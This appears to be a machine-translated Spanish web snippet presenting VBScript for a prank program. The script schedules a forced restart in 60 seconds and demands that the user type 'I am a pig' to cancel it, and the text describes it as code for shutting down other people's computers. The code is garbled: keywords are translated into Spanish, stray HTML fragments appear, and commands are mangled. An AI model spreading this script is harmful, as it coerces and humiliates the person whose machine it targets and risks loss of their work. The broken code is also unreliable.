Código fuente del miniprograma plagiado

Continúe con el siguiente paso si ocurre un error

dim WSHshellA

Set WSHshellA = wscript . createobject(" wscript . shell ")

wsh shell a . " cmd . exe /cshutdown-r-t 60-c " "Llámame cerdo o apagaré tu teléfono en un minuto. Si no me crees, intenta..." ", 0, verdadero.

Dim<. /p>

do while(a lt; gt "Soy un cerdo")

A = inputbox("Di que soy un cerdo, no lo hagas ciérrelo, páselo rápido, diga ""Soy un cerdo"", "No digas", "No digas", 80007000)

msgbox chr(13) chr(13) chr (13) a, 0, " MsgBox "

Ring

msgbox CHR(13) CHR(13) CHR(13) "Ojalá te lo hubiera dicho antes."

Dim WSHshell

Establezca wsh shell = wscript . createobject(" wscript . shell ")

wsh shell run " cmd . exe/c apagado-a ". , 0, true

msgbox CHR(13) CHR( 13) CHR(13) "Jajajaja, todo es posible~"

Este es un código popular en Internet para cerrar otros.